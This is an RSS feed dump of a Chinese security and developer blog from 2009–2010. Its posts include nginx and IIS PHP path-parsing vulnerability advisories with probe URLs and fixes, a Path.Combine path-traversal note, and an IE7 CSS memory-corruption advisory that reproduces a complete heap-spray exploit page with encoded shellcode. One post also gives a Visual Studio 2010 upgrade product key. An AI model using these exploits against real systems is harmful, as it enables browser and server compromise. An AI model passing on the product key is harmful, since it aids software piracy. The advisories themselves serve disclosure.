<![CDATA[Bin-Blog]]> http://www.rootkit.net.cn/ zh-cn PBlog2 v2.4 Bin-Blog http://www.rootkit.net.cn/images/logos.gif http://www.rootkit.net.cn/ Bin-Blog http://www.rootkit.net.cn/default.asp?id=150 <![CDATA[KillQQAd V1.0.0.48 For QQ2010正式版]]> master@rootkit.net.cn(Bin) Mon,28 Jun 2010 02:03:55 +0800 http://www.rootkit.net.cn/default.asp?id=150
    * 增加了本地缓存功能，获取好友IP信息后，重启QQ也不会丢失
    * IP窗口宽度自适应IP信息长度，不会出现显示不全的问题
    * IP窗口全透明，不会出现QQ聊天窗口背景被遮挡的问题
    * 修复了一个可能导致内存泄露的笔误
    * 针对"腾讯QQ 2010 正式版(1720)"制作，其他版本并不适用


下载文件 KillQQAd V1.0.0.48]]> http://www.rootkit.net.cn/default.asp?id=148 <![CDATA[MSDN VS2010 Ultimate 简体中文正式版]]> master@rootkit.net.cn(Bin) Wed,02 Jun 2010 23:00:51 +0800 http://www.rootkit.net.cn/default.asp?id=148



























MSDN Professional + Key(简体中文版本)

MSDN Ultimate + Key(简体中文版本)

MSDN Team Foundation Server + Key(简体中文版本)

MSDN Team Foundation Server + Key(繁體中文版本)

MSDN Ultimate + Key(繁體中文版本)

MSDN Professional + Key(英文版本)

MSDN Ultimate + Key(英文版本)

MSDN Premium + Key(英文版本)

MSDN Express + Key(英文版本)

MSDN Team Foundation Server + Key(英文版本)




]]> http://www.rootkit.net.cn/default.asp?id=147 <![CDATA[IIS源码泄露及文件类型解析错误]]> master@rootkit.net.cn(Bin) Fri,21 May 2010 17:39:41 +0800 http://www.rootkit.net.cn/default.asp?id=147

漏洞分析：
IIS支持以CGI的方式运行PHP，但是此种模式下，IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题，任何用户可以远程将任何类型的文件以PHP的方式去解析，你可以通过查看Phpinfo中对php的支持方式，其中如果为CGI/FAST-CGI就可能存在这个问题。

黑盒访问

http://www.80sec.com/robots.txt/1.php


查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。

同时，如果服务器支持了PHP，但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码

http://www.80sec.com/some.asp/1.php

漏洞厂商：http://www.microsoft.com

解决方案：

我们已经尝试联系官方，但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0]]> http://www.rootkit.net.cn/default.asp?id=146 <![CDATA[nginx文件类型错误解析漏洞]]> master@rootkit.net.cn(Bin) Fri,21 May 2010 17:38:28 +0800 http://www.rootkit.net.cn/default.asp?id=146
漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。


漏洞分析：nginx默认以cgi的方式支持php的运行，譬如在配置文件当中可以以


location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

的方式支持对php的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP 的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
那么假设存在一个http://www.80sec.com/80sec.jpg，我们以如下的方式去访问

http://www.80sec.com/80sec.jpg/80sec.php


将会得到一个URI

/80sec.jpg/80sec.php

经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为

/scripts/80sec.jpg/80sec.php

而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为

/scripts/80sec.jpg

所以不存在此问题。
后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为

/scripts/80sec.jpg和80sec.php

最后，以/scripts/80sec.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。

POC： 访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/80sec.php，这个时候你可以看到如下的区别：

访问http://www.80sec.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问访问http://www.80sec.com/robots.txt/80sec.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化，该站点就可能存在漏洞。

漏洞厂商：http://www.nginx.org

解决方案：

我们已经尝试联系官方，但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

或者

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

PS: 鸣谢laruence大牛在分析过程中给的帮助
]]> http://www.rootkit.net.cn/default.asp?id=145 <![CDATA[IIS7运行WCF服务出现404错误的解决方法]]> master@rootkit.net.cn(Bin) Wed,28 Apr 2010 20:02:59 +0800 http://www.rootkit.net.cn/default.asp?id=145 使用 %Windows%\Microsoft.Net\Framework\v3.0\Windows Communication Foundation目录下的ServiceModelReg.exe程序就好了

首先检测服务状态：
命令: ServiceModelReg -vi
结果: 如果协议都是“未安装”状态 则可以确定是WCF在IIS中没有正确安装

接着安装服务：
命令: ServiceModelReg -i
结果: 如果成功安装，会返回成功信息

重启IIS，解决！]]> http://www.rootkit.net.cn/default.asp?id=144 <![CDATA[Visual Studio 2010专业、高级、旗舰三种版本的正式版（下载）]]> master@rootkit.net.cn(Bin) Wed,14 Apr 2010 21:03:01 +0800 http://www.rootkit.net.cn/default.asp?id=144
    Visual Studio 2010具有五大特性：支持云计算架构；Agile/Scrum开发方法；兼容Windows 7与Silverlight 4；发挥多核并行运算威力；能够更好地支持C++。


(一)专业版

    面向个人开发人员提供集成开发环境、开发平台支持以及测试工具等。其中带有MSDN Essential(有效期一年的MSDN订阅)的完整版售价799美元、升级版售价549美元；带有MSDN订阅的完整版售价1199美元、升级版售价 799美元。

    微软官方下载地址：Microsoft Visual Studio 2010 Professional - ISO

(二)高级版

    创建可扩展、高质量程序的完整工具包，相比专业版增加了数据库开发、Team Foundation Server(TFS)、调试与诊断、程序生命周期管理(ALM)。完整版售价5469美元，升级版售价2299美元。

    微软官方下载地址：Microsoft Visual Studio 2010 Premium - ISO

(三)旗舰版

    面向开发团队的综合性ALM工具，相比高级版增加了架构与建模、实验室管理等。完整版售价11899美元，升级版售价3799美元。

    微软官方下载地址：Microsoft Visual Studio 2010 Ultimate - ISO

    安装完毕后，在卸载程序中进入维护模式，用YCFHQ-9DWCY-DKV88-T2TMH-G7BHP升级即可。

附一：Microsoft .NET Framework 4(Web Installer) 微 软官方下载地址

    提供了对更多业界标准、语言选项的支持。新增支持包括并行编程在内的高性能中间层应用。Microsoft .NET Framework 4可与Microsoft .NET Framework 3.5并存。

附二：Microsoft Visual C++ 2010 Redistributable Package 微 软官方下载地址

    本程序包为C运行时库(CRT)、标准C++、ATL、MFC、OpenMP和MSDIA库安装运行时组件。对于支持并行部署模型的库(CRT、SCL、 ATL、MFC、OpenMP)，这些运行时组件被安装到：支持并行程序集的Windows操作系统的本机程序集缓存(也称为 WinSxS文件夹)中。]]> http://www.rootkit.net.cn/default.asp?id=143 <![CDATA[Path.Combine() 方法]]> master@rootkit.net.cn(Bin) Thu,18 Mar 2010 20:22:43 +0800 http://www.rootkit.net.cn/default.asp?id=143 string path2 = @"c:\";
string path = Path.Combine(path1,path2);

参数
path1
第一个路径。

path2
第二个路径。

返回值
包含合并的路径的字符串。如果指定的路径之一是零长度字符串，则该方法返回其他路径。如果 path2 包含绝对路径，则该方法返回 path2。

输出path为 c:\

如果path2可以动态赋值的话，可导致遍历任意路径的BUG。例如FCKeditor 的.NET版。
]]> http://www.rootkit.net.cn/default.asp?id=142 <![CDATA[我的服务器]]> master@rootkit.net.cn(Bin) Wed,13 Jan 2010 01:17:13 +0800 http://www.rootkit.net.cn/default.asp?id=142
我的服务器上还有一个朋友的私服网站。看看里面有多少SHELL。去年10月之前我删除过一批


最近服务器一直被CC，不知道哪位闲的蛋疼的哥们，我看你到底能疼多久。

]]> http://www.rootkit.net.cn/default.asp?id=141 <![CDATA[诺基亚N93摄像头黑屏的救星]]> master@rootkit.net.cn(Bin) Mon,28 Dec 2009 00:05:15 +0800 http://www.rootkit.net.cn/default.asp?id=141
引用内容 引用内容

我的小I在拍照的时候出现了很多条红白条纹,如果出现以下这个情况,有2种解决方案:

1.在照相和摄像来回的切换，稍微切换个4次至5次,我最多一次好像切换了10次左右 果然好了 .所以如果有的朋友和我的一样 不妨也试试能不能修好~!

2.就是小I在旋转屏幕照相的时候将屏幕旋转到底,然后看看你的屏幕,是不是黑屏就不存在了?

虽然他的是N93I，但是按照方法1测试成功，膜拜！

这位大哥如果要是搞安全的，估计能挖出来N多0day!]]> http://www.rootkit.net.cn/default.asp?id=138 <![CDATA[南京铱迅发现微软IE7.0 异常CSS导致内存破坏漏洞]]> master@rootkit.net.cn(Bin) Sun,22 Nov 2009 21:12:46 +0800 http://www.rootkit.net.cn/default.asp?id=138 在XHTML 1.0标准下，使用特殊构造的CSS样式，在Internet Explorer 7.0 打开特定的网页后，Internet Explorer 7.0将发生内存崩溃，EIP指针将访问0x70613e5b附近的内存区域。如果将0x70613e5b附近覆盖特殊的机器码，就可以执行任意命令。

2．漏洞危害(危害等级高)
黑客如果将含有“漏洞利用程序的网页”置于网站上，浏览过含有“漏洞利用程序的网页”的客户端将被运行特洛伊木马。

3．通知途径
已经向“国家漏洞库”提交。

4．下载文件 详细文档下载
POC:

更多安全漏洞公布，请关注www.yxlink.com 铱迅安全论坛:bbs.yxlink.com


<!--
请将以下内容粘贴到html文件中,利用成功后，会启动windows计算器程序
南京铱迅信息技术有限公司（Nanjing Yxlink Information Technologies Co.,Ltd.）
http://www.yxlink.com
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
    <HEAD>
<script>  
            function load(){
                var e;
                e=document.getElementsByTagName("STYLE")[0];
                e.outerHTML="1";
            }
        </script>    
        <STYLE type="text/css">
            body{ overflow: scroll; margin: 0; }
        </style>
      
        <SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>

    </HEAD>  
    <BODY onload="load()">
    </BODY>
</HTML>
//yxlink.com
]]>